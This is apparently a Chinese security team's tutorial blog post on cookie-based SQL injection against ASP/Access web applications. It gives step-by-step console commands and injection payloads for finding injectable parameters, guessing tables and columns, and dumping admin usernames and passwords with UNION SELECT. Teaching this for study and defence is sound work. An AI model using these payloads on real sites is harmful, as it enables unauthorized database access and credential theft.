非常感谢小伙伴们对我们inn0team的信任与支持,喵喵甚是感动~当然喵喵也没有偷懒喔,这是喵妹第一次发表文章,小伙伴们不要笑话我嘛~~~
相信大家对SQL注入的原理和利用方式已经很熟悉了,对于SQL注入的防范措施基本上可以用过滤和参数化查询来解决。一般的程序只是对GET和POST数据进行过滤,没有对以cookie方式提交的数据进行过滤,导致目标系统可能存在cookie注入。本文将以ASP语言和ACCESS数据库(虽然是老掉牙的组合了,但是我们是来学习原理的好不啦~~~)为例讲解cookie注入的原理及利用方法。
程序获取前端提交的数据有三种形式:
获取GET方式提交的数据使用request.querystring()
获取POST方式提交的数据使用request.form()
request()是未指明使用request对象的哪种具体方式进行获取数据,对GET,POST,cookie方式提交的数据都可以接收。当使用GET和POST方式注入被过滤时,可以尝试使用cookie注入。
打开正常页面http://192.168.16.198/shownews.asp?id=192,页面打开后在浏览器的控制台输入javascript:alert(document.cookie="id="+escape("192")),此步操作是设置cookie值;这里的“id=”是“参数名,“escape("192")”中的“192”是参数值,在控制台执行这条语句后会在页面中弹出一个对话框。 现在刷新页面看是否还能正常访问。如果能正常访问,再在控制台执行javascript:alert(document.cookie="id="+escape("192 and 1=2")),刷新页面后页面不能正常显示,说明存在cookie注入。
判断表名:在控制台执行语句javascript:alert(document.cookie="id="+escape("192 and exists (select * from admin "));然后刷新页面,页面正常返回说明存在admin表。接下来和普通的注入差不多,只是自己构造的sql语句放置的位置不一样而已,形如:javascript:alert(document.cookie="id="+escape("192 and 1=2 union select"));在控制台执行完语句后刷新页面即可看到回显内容。
1.判断注入点
数值型注入点判断
and 1=1
and 1=2
字符型注入点判断
'and 'a'='a
'and 'a'='b
若两次返回结果不一致,则存在注入点
2.猜解表名
and exists(select * from 表名)
3.猜列数
按照某字段进行排序:order by 第几个字段
如果返回页面不正常,则说明字段数超过了真正的字段数,由此得到表有多少字段
4.猜解列名
and exists(select 列名1,列名2 from 表名)
5.爆数据:
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from 表名
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
6.判断记录数量
http://xxx.com/test.asp?id=1 and 2<(select count(*)from 表名)
7.获取除主键外的其他键值
select 1,2,3,……from user where username not in ('admin','test')或者是
select 1,2,3,……from user where username <> 'admin' and username <> 'test'
以此类推……
最后,感谢团队所有成员对我的信任,么么哒~~~
长按上面的二维码可以关注我们,如果你觉得本文对你有帮助可以分享到朋友圈,谢谢
本文始发于微信公众号(inn0team):(基础篇-2)浅谈cookie注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论